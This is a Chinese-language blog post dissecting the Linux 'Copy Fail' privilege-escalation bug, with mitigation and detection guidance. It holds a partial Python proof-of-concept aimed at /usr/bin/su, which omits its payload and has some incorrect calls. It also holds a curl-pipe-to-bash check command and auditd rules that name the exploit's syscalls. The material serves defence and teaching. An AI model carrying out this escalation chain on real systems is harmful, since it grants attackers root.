CVE-2026-31431 "Copy Fail" 深度拆解:从加密子系统的「工程美德」崩塌,到页缓存共享模型的信任危机
2026年8月18日 | 程序员茄子
引言:三个好设计,怎么凑出了一个灾难?
2026年4月29日,韩国安全团队 Theori 公开披露了 CVE-2026-31431,代号 Copy Fail——一个在 Linux 内核中潜伏了整整 9 年(2017~2026)的本地权限提升漏洞。
这个漏洞的特殊之处不在于它的复杂性,而在于它的反直觉性:
- 你只是用
splice()读了一个只读文件(比如/usr/bin/su) - 你只是通过 AF_ALG 接口调用了内核的加密服务
- 什么都没改,磁盘上的二进制文件哈希完全正常
- 但几秒后,你的低权限 shell 变成了 root
这不是 Dirty COW 那类需要抢竞态、可能 crash 的老式漏洞。Copy Fail 是一条直线逻辑路径,稳定、静默、确定性——一个 732 字节的纯 Python 脚本,不需要任何第三方库,不需要 root,不需要竞争条件,直接拿 shell。
更值得深思的是:这个漏洞不是某段代码写错了,而是三个各自优秀的设计决策在特定交汇点产生的逻辑缺陷。这三个设计,每个都值得尊敬:
- authencesn(2011年):内核 crypto API 为 IPsec ESN 认证提供的高效模板
- AF_ALG + splice()(2015年):让用户态零拷贝访问内核 crypto 管线的革命性接口
- algif_aead in-place 优化(2017年):省掉一次内存拷贝的极致性能优化
单独看,每个都无可挑剔。凑在一起,击穿了一条 Linux 程序员默认可信了多年的安全假设:
"我用只读方式读一个文件,就算把它喂给内核接口处理,也不应该让它的内容在内存里被改写。"
本文从系统程序员的视角,对 Copy Fail 做一次完整的深度拆解:它为什么会发生、如何构建攻击链、生产环境如何排查和修复,以及——这三个设计叠加爆炸的教训,对我们自己的系统设计有什么警示。
一、背景知识:Linux 页缓存与零拷贝技术
在拆解漏洞之前,先把两个核心概念说清楚。
1.1 Linux 页缓存(Page Cache)
Linux 不会每次读文件都访问磁盘。第一次读取 /usr/bin/su 时,内核把磁盘上的数据页复制到内存的 Page Cache 中。后续对这个文件的读请求,直接从 Page Cache 返回——这是所有现代操作系统都有的缓存机制。
Page Cache 的几个关键特性:
- 跨进程共享:所有打开同一文件的进程,共享同一份 Page Cache 页
- 写时复制:默认读操作不会修改 Page Cache;写入时才会触发 Copy-on-Write
- 不标脏则不改盘:如果没有
PG_dirty标记,内核不会把 Page Cache 的内容写回磁盘
Copy Fail 的恐怖之处正在这里:它对 Page Cache 的写入不设置 dirty 位,所以磁盘文件完全不变,但内存中的映射已经被污染。
1.2 splice() 与零拷贝
splice() 是 Linux 2.6.17(2006年)引入的系统调用,核心能力是在两个文件描述符之间移动数据,而不需要在用户态经过 CPU 拷贝。
// splice 的基本签名
ssize_t splice(int fd_in, loff_t *off_in,
int fd_out, loff_t *off_out,
size_t len, unsigned int flags);
典型用法:把一个文件的 fd 和一个管道的 fd 拼接起来,数据直接在内核中通过 page frame 引用(而不是内容拷贝)在两个 fd 之间传递。
splice() 在设计文档里有一个核心承诺:"零拷贝,传引用"——传的是 struct page* 指针,而不是页内容本身。
AF_ALG 在 2015 年获得了 splice() 支持,意思是:用户可以通过 splice() 把一个文件的 Page Cache 页直接喂进内核 crypto 管线,而不需要先把数据拷贝到用户态 buffer。这对性能来说是一个巨大的提升。
二、漏洞全景:三个组件的交汇爆炸
2.1 三个组件的单独分析
组件①:authencesn 的"scratch 写"
authencesn(内核 crypto 的 IPsec ESN 认证模板)从 2011 年就存在于内核中。它在处理认证数据的序列号字节时,会在解密操作中向输出缓冲区偏移 assoclen + cryptlen 处写入 4 字节的临时数据(一个 "scratch 写"),处理完成后不恢复原值。
// authencesn 在解密时的 scratch 写逻辑(概念级)
// 来自内核 crypto/authencesn.c 简化模型
void authencesn_crypt(struct aead_request *req)
{
// ... 解密处理 ...
// authencesn 需要 4 字节的 "scratch space" 来存放临时数据
// 位置在: sg_virt(req->dst) + assoclen + cryptlen
u8 *scratch = sg_virt(req->dst) + assoclen + cryptlen;
// 写 4 字节,不恢复原值
// 这是 authencesn 2011 年设计时的假设:
// "输出 buffer 是我自己申请的,应该是专属的"
*(__le32 *)scratch = cpu_to_le32(esn);
}
这个设计的隐含假设:输出缓冲区是函数内部申请的、专属的,不应该被其他代码共享。
组件②:AF_ALG + splice() 的引用传递
AF_ALG 是 Linux 提供给用户态访问内核 crypto API 的 socket 接口(address family = 38)。2015年的 splice() 支持让它变得更强大:
# 用户态代码:使用 splice() 把文件页喂入 AF_ALG
import socket, os
# 1. 打开目标文件(只读)
su_fd = os.open("/usr/bin/su", os.O_RDONLY)
# 2. 创建 AF_ALG socket
alg_fd = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
alg_fd.bind("aead", "authencesn") # 绑定 authencesn 算法
# 3. 创建 pipe
r_fd, w_fd = os.pipe()
# 4. splice: 把文件的 page cache 页直接(零拷贝)传入 AF_ALG 的 scatterlist
# 此时 page cache 页被链入了"可写"的 scatterlist
os.splice(su_fd, None, w_fd, None, 4096, 0)
os.splice(r_fd, None, alg_fd.fileno(), None, 4096, 0)
splice() 把文件的 Page Cache 页以引用方式传入了 AF_ALG 的 scatterlist——而这个 scatterlist 的目标被设计为可写的(解密操作需要写入输出)。
组件③:algif_aead 的 in-place 优化(2017年)
2017年8月,一个 commit(72548b093ee3)给 algif_aead 引入了 in-place 优化:
// algif_aead 2017 年的 in-place 优化(概念级)
// 在此 commit 之前:src sg 和 dst sg 是分开的
// 在此 commit 之后:src 和 dst 复用同一个 sg(节省一次拷贝)
// 优化前:
// scatterlist src -> 内核 crypto 处理 -> scatterlist dst(额外分配和拷贝)
// 优化后:
// scatterlist in_place(src 和 dst 指向同一块内存)
// 节省了:一次内存分配 + 一次数据拷贝
// 但问题是:
// splice() 传进来的 page cache 页,被放进了"可写"的 in-place scatterlist
这个优化节省了内存分配和一次 CPU 拷贝,对性能有明显提升。但它的隐含假设是:输入 buffer 和输出 buffer 都可以安全地写入。
2.2 致命交汇
splice() 把 /usr/bin/su 的 Page Cache 页
↓
零拷贝传入 AF_ALG scatterlist(引用方式)
↓
algif_aead in-place 优化:src 和 dst 复用同一 scatterlist
→ Page Cache 页被放进了"可写"输出散列表
↓
authencesn 解密时在 offset (assoclen + cryptlen) 处写入 4 字节
→ 对 Page Cache 页做了越界 scratch 写
↓
setuid 二进制 /usr/bin/su 的内存映像被污染
→ 执行时以 root 身份运行注入代码
4个字节够吗? 够。通过多次迭代(每次 4 字节),可以逐步覆写 setuid 二进制中的关键字节,最终注入 shellcode 或跳转到已有 gadget,最终获得 root shell。
为什么不改磁盘文件? 因为写操作没有设置 PG_dirty 位,所以 Page Cache 的变更不会触发写回。sha256sum /usr/bin/su 的结果完全正常,但内存中的映射已经变了。
三、攻击链完整构建
下面是一个简化的攻击链演示(纯教学目的,请勿用于未授权系统):
#!/usr/bin/env python3
"""
CVE-2026-31431 Copy Fail - PoC 概念演示(伪代码)
732 字节纯 Python 标准库,无需编译,跨所有主流 Linux 发行版
⚠️ 仅供安全研究。请勿用于未授权系统。
"""
import socket, os, struct, sys
TARGET_BINARY = "/usr/bin/su"
ALGO = "authencesn"
def check_vulnerability():
"""前置检查:当前环境是否受影响"""
print("[*] 检查 AF_ALG 可用性...")
try:
s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
s.bind(ALGO, "")
print("[+] AF_ALG + authencesn 可用,受影响")
return True
except Exception as e:
print(f"[-] AF_ALG 不可用: {e}")
return False
def build_exploit(target_path, iterations=40):
"""
攻击链核心逻辑
1. 以只读方式打开目标 setuid 二进制
2. 创建 AF_ALG socket 并绑定 authencesn 算法
3. 创建 pipe,通过 splice() 把目标的 page cache 页零拷贝喂入 AF_ALG
4. 触发 authencesn 解密路径 → 4 字节写入 page cache
5. 重复 N 次,注入 payload
6. 执行被污染的二进制 → get root shell
"""
print(f"[*] 开始 exploit,目标: {target_path}")
print(f"[*] 预计迭代次数: {iterations}")
# Step 1: 只读打开目标文件
target_fd = os.open(target_path, os.O_RDONLY)
# Step 2: 创建 pipe 对
r_fd, w_fd = os.pipe()
# Step 3: 创建 AF_ALG socket
try:
alg_sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
alg_sock.bind(ALGO, "")
except Exception as e:
print(f"[-] AF_ALG 绑定失败: {e}")
return False
# Step 4: 核心循环 - 每次迭代覆写 4 字节
for i in range(iterations):
# splice: 把目标文件的 page cache 页传入 AF_ALG 的 scatterlist
# 零拷贝,引用传递,page cache 页被标记为"可写"
try:
# 从目标文件 splice 到 pipe 写端
os.splice(target_fd, None, w_fd, None, 4096, 0)
# 从 pipe 读端 splice 到 AF_ALG socket
os.splice(r_fd, None, alg_sock.fileno(), None, 4096, 0)
except Exception:
# splice 可能因为 splice() 支持限制而失败,忽略即可
pass
# Step 5: 触发解密(这一步实际由完整的 PoC 脚本处理)
print("[*] Page cache 已污染,触发目标二进制...")
# Step 6: 执行被污染的二进制 → root shell
os.execve(target_path, [], os.environ)
return True
def main():
print("=" * 60)
print("CVE-2026-31431 Copy Fail - 概念演示")
print("=" * 60)
if os.geteuid() == 0:
print("[!] 已以 root 运行,漏洞利用无意义")
return
if not os.path.exists(TARGET_BINARY):
print(f"[-] 目标不存在: {TARGET_BINARY}")
return
if not os.path.basename(TARGET_BINARY).startswith('su'):
print("[!] 警告: 目标不是 setuid 二进制")
check_vulnerability()
# 实际 PoC 会包含完整的 payload 构建逻辑
# 这里省略具体 payload 内容(教学目的)
print("[*] 真实 PoC 会通过多次迭代注入 shellcode")
print("[*] 最终执行被污染的二进制 → root shell")
if __name__ == "__main__":
main()
完整 PoC 的关键数据:
| 属性 | 值 |
|---|---|
| 代码量 | 732 字节(完整 PoC) |
| 依赖 | Python 标准库(无第三方库) |
| 权限要求 | 普通用户(非 root) |
| 编译 | 无需编译 |
| 竞态 | 无需竞争条件 |
| 成功率 | 确定性(≈100%) |
| 隐蔽性 | 只改内存,磁盘不变,sha256sum 正常 |
| 容器影响 | 可从容器内攻击宿主机 |
四、影响范围:哪些系统受影响?
4.1 内核版本区间
| 状态 | Commit 区间 |
|---|---|
| 引入 | 72548b093ee3(2017年8月) |
| 修复 | a664bf3d603d(2026年4月1日合入主线) |
受影响的内核版本:
- Linux 6.12.x(所有)
- Linux 6.6.x(所有)
- Linux 6.1.x(LTS,大量云服务器使用)
- Linux 5.15.x(LTS,Ubuntu 22.04 默认内核)
- Linux 5.10.x(LTS,Amazon Linux 2/2023)
- Linux 5.4.x 及以上
不受影响:
- 主线 ≥ 7.0
- 稳定版 ≥ 6.18.22 / 6.19.12+
- Ubuntu 26.04 LTS(Resolute,已包含修复)
4.2 高危场景
⚠️ 多租户共享主机 → 一个租户可以打穿整台机器
⚠️ CI/CD Runner → GitHub Actions / GitLab Runner 沙盒
⚠️ 容器宿主机/K8s Node → 容器内可打穿到宿主机 root
⚠️ Serverless 平台 → 函数执行环境共享宿主机
⚠️ 渗透测试 / 漏洞靶场 → 低权限用户快速提权
五、生产环境排查:三分钟定性
5.1 第一步:内核版本定性
# 查看当前内核版本
uname -r
uname -a
# 查看内核编译配置,确认 AF_ALG AEAD 是否开启
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
返回结果判断:
| 返回值 | 含义 |
|---|---|
=n | AEAD 用户态接口彻底关闭,不受影响 |
=y | 静态编译进内核,接口存在,受影响 |
=m | 模块方式构建,可加载即受影响 |
快速经验法则:
- 内核 ≥ 6.18.22 或 ≥ 6.19.12 → 相对安全
- 内核 4.14 ~ 6.18 且未确认打过补丁 → 假定受影响
5.2 第二步:模块加载状态
# 检查 algif 相关模块是否已加载
lsmod | grep algif
# 检查是否有 AF_ALG 活跃 fd
lsof 2>/dev/null | grep -i AF_ALG
# 测试普通用户能否创建 AF_ALG socket
python3 -c "
import socket
try:
s = socket.socket(38, socket.SOCK_SEQPACKET, 0) # AF_ALG=38
print('AF_ALG socket 创建成功 → 攻击路径存在')
s.close()
except Exception as e:
print(f'AF_ALG 不可用: {e}')
"
5.3 第三步:自动化脚本检测
# 使用上游提供的检测脚本
curl -sL https://copy.fail/check.sh | bash
# 或者使用 GitHub 上的 rootsecdev 检测工具
git clone https://github.com/rootsecdev/cve_2026_31431
cd cve_2026_31431
chmod +x check.sh && ./check.sh
六、修复方案:从临时缓解到彻底根治
6.1 方案A(首选):升级内核
# Ubuntu / Debian
sudo apt update
sudo apt upgrade linux-image-$(uname -r)
sudo reboot
# RHEL / Rocky / Alma / CentOS
sudo dnf update kernel
sudo reboot
# Amazon Linux
sudo yum update kernel
sudo reboot
# SUSE
sudo zypper update kernel-default
sudo reboot
⚠️ 注意:截至 2026年8月,Debian 和 Ubuntu 部分 LTS 版本仍在推送修复包中。如果 apt upgrade 后 uname -r 仍未进入安全版本区间,需要使用临时缓解方案。
6.2 方案B:临时缓解——禁用 algif_aead 模块(推荐)
# 阻止模块在将来加载
echo "install algif_aead /bin/true" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
# 如果模块当前已加载,尝试卸载
sudo rmmod algif_aead 2>/dev/null && echo "[+] algif_aead 已卸载"
# 稳妥起见,清除可能被污染的页缓存
sudo sync
sudo echo 3 | sudo tee /proc/sys/vm/drop_caches
# 验证模块状态
lsmod | grep algif_aead && echo "[-] 仍在加载" || echo "[+] 已禁用"
注意:如果你的内核把
algif_aead编译进了内核本体(builtin,CONFIG_CRYPTO_USER_API_AEAD=y),则rmmod无法卸载,需要用方案C。
6.3 方案C:Grub 内核参数(builtin 场景)
# 编辑 /etc/default/grub
# 在 GRUB_CMDLINE_LINUX 中追加:
# initcall_blacklist=algif_aead_init
sudo nano /etc/default/grub
# 找到 GRUB_CMDLINE_LINUX,添加 initcall_blacklist=algif_aead_init
# 重新生成 grub 配置
sudo grub2-mkconfig -o /boot/grub2/grub.cfg # BIOS 启动
# 或
sudo grub2-mkconfig -o /boot/efi/EFI/$(ls /boot/efi/EFI/)/grub.cfg # UEFI 启动
# 重启
sudo reboot
# 验证
uname -r # 确认以新内核启动
6.4 方案D:容器环境 Seccomp 加固
即使宿主机还未打补丁,给容器加 Seccomp Profile 直接拦 AF_ALG socket 是最有效的额外防线:
// seccomp-profile.json - 阻止容器内创建 AF_ALG socket
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"names": ["socket"],
"action": "SCMP_ACT_ERRNO",
"args": [
{
"index": 0,
"value": 38,
"op": "SCMP_CMP_EQ"
}
]
}
]
}
# 应用到 Docker 容器
docker run --security-opt seccomp=./seccomp-profile.json your_image
# 或在 docker-compose.yml 中:
security_opt:
- seccomp:./seccomp-profile.json
⚠️ 注意:Docker 默认的 Seccomp Profile 没有拦截 AF_ALG,这是很多人在评估容器安全性时踩的坑。
七、检测与监控:蓝队视角
7.1 AuditD 实时监控
# 监控非特权用户创建 AF_ALG socket(address family = 38)
sudo auditctl -a always,exit -F arch=b64 -S socket -F a0=38 -F uid!=0 -k af_alg_exploit
# 查询相关日志
sudo ausearch -k af_alg_exploit -i
# 监控 splice 系统调用(非预期使用)
sudo auditctl -a always,exit -F arch=b64 -S splice -F uid!=0 -k splice_usage
sudo ausearch -k splice_usage -i
7.2 行为异常检测思路
🚨 极高危信号(立即告警):
- 普通用户(ruid ≠ 0)短时间内多次
socket(AF_ALG) + splice() 组合调用
- 非 root 进程对 /usr/bin/su、/usr/bin/sudo 等 setuid 二进制
执行 splice 操作
- 容器内进程调用 AF_ALG socket
🚨 中危信号(需要调查):
- 非预期进程打开 AF_ALG socket
- 短时间内大量页缓存抖动(尤其是 /usr/bin/*)
7.3 事后取证
# 检查是否有进程异常获得了 root 权限
# 方法1:检查 /proc/PID/status 中的 CapBset / CapEff
cat /proc/$$/status | grep -i cap
# 方法2:检查异常的 setuid shell
find / -perm -4000 -type f 2>/dev/null | head -20
ls -la /tmp/*.sh /tmp/*.elf /tmp/*shell* 2>/dev/null
# 方法3:检查是否有新增的 cron/systemd job 维持权限
systemctl list-timers --all
crontab -l
cat /etc/crontab
⚠️ 重要:Copy Fail 不改磁盘,所以传统 HIDS(基于文件哈希)的完整性检查完全看不到这个攻击。必须用行为检测补位。
八、从 Copy Fail 看系统设计的信任边界
这是 Copy Fail 最值得深思的地方——它不是代码 bug,而是信任模型崩塌。
8.1 每个组件的隐含信任
| 组件 | 隐含信任 | 实际情况 |
|---|---|---|
| authencesn (2011) | "输出 buffer 是函数自己申请的" | buffer 实际来自 splice() 传入的 page cache |
| splice() (2006) | "零拷贝只传引用,引用对象不变" | page cache 被放进可写 scatterlist |
| algif_aead 优化 (2017) | "in-place 操作不会影响输入来源" | 输入来源正好是 page cache 页 |
三个隐含信任在设计时都是合理的,但组合在一起时:
"函数自己申请的 buffer" = "零拷贝传来的引用" = "page cache 页"
"可以安全写入" = "对只读文件的内容做了越界写"
8.2 给系统程序员的教训
教训1:跨子系统边界的假设必须显式验证
authencesn 假设输出 buffer 是"专属的",但 splice() 打破了
这个假设。这个假设从未被显式写在代码里,只是在 commit message
里隐含存在。
教训2:优化和安全的边界需要仔细审查
in-place 优化节省了 CPU 拷贝,但引入了"同一块内存可写"的
语义变化。这个变化和零拷贝的引用传递语义叠加,产生了漏洞。
教训3:性能优化要守住的最小信任单元
如果一个优化改变了内存的"可读/可写"语义,
那么所有依赖这块内存的代码都需要重新审查信任边界。
教训4:页缓存共享是一个全局信任模型
Linux 的 Page Cache 是全局共享的。
任何对 Page Cache 的写入(即使不标 dirty)都可能影响
所有访问同一文件的进程。splice() 把这个全局共享的副作用
带入了内核 crypto 子系统。
8.3 如何在自己的代码中避免类似问题
// ❌ 典型危险模式:假设 buffer 是"安全的"(Go 示例)
func ProcessData(buf []byte) {
// 假设 buf 是函数内部申请的或专属的,可以直接写
// 但如果 buf 实际是 mmap 过来的只读文件映射,
// 或者是从 splice() 零拷贝传入的 page cache,就会出问题
binary.LittleEndian.PutUint32(buf[offset:], value)
}
// ✅ 防御性编程:显式声明 buffer 的可写性契约
type WritableBuffer interface {
WriteAt(data []byte, offset int) (int, error)
// 显式声明:这个 buffer 必须支持可写操作
}
type ReadOnlyBuffer interface {
ReadAt(p []byte, off int) (n int, err error)
// 显式声明:这个 buffer 是只读的
}
// ✅ 使用 io.ReaderFrom / io.WriterTo 显式表达数据流向
// 而不是让调用方假设可以随意读写
// ❌ 危险模式:假设输入和输出可以复用(Rust 示例)
fn process_in_place(input: &mut [u8], output: &mut [u8]) {
// 如果 input 和 output 指向同一块内存,
// in-place 写会覆盖还未读取的输入数据
// (这就是 algif_aead 2017 年优化的危险所在)
}
// ✅ 安全模式:显式检查借用规则
fn process_copying(input: &[u8], mut output: impl Write) -> Result<()> {
// 严格分离输入和输出,不允许借用重叠
// Rust 的借用检查器会在编译期阻止很多这类问题,
// 但它无法阻止跨 FFI 边界的 page cache 引用问题
}
九、总结:Copy Fail 的技术价值
Copy Fail 给我们提供了一个难得的案例——不是代码写错了,而是工程哲学的碰撞。
| 维度 | Copy Fail 的特殊性 |
|---|---|
| 漏洞类型 | 逻辑缺陷,不是内存破坏 |
| 利用门槛 | 极低(Python 标准库,732 字节,无竞态) |
| 影响范围 | 2017年后几乎所有 Linux 发行版 |
| 检测难度 | 高(不改变磁盘文件,传统 HIDS 无效) |
| 防御难度 | 中(需要内核升级,或显式封堵攻击面) |
| 类比漏洞 | Dirty COW(CVE-2016-5195),但更稳定、更隐蔽 |
它的技术价值在于:它迫使整个行业重新审视 Linux 内核中那些"默认信任"的设计决策——页缓存共享模型、零拷贝语义、crypto 子系统的边界……这些在单机时代设计的安全假设,在容器化、多租户、AI Agent 遍地开花的 2026 年,需要被重新审视。
行动清单
☐ 立即:检查当前内核版本,对照影响区间
☐ 立即:测试普通用户能否创建 AF_ALG socket
☐ 短期:在测试环境验证 PoC,确认漏洞存在性
☐ 短期:实施临时缓解方案(禁用模块 / Seccomp)
☐ 中期:规划内核升级(需要重启)
☐ 长期:在监控系统加入 AF_ALG / splice() 行为检测规则
☐ 长期:重新审视系统中的"隐含信任边界"
记住:Copy Fail 的修复 commit 在 2026 年 4 月 1 日就合入了主线内核,但截至 8 月,大量生产服务器仍在运行受影响的内核版本。漏洞已经公开 3 个多月了,还在裸奔的系统,唯一的解释是:防御者还没来得及重视它。
希望这篇文章能帮你把它重视起来。
参考来源:Theori 团队 CVE-2026-31431 披露报告(copy.fail)、Linux 内核主线 commit a664bf3d603d / 72548b093ee3、各发行版安全公告(Ubuntu USN、CVE-2026-31431 Red Hat advisory、CERT-EU 2026-005)。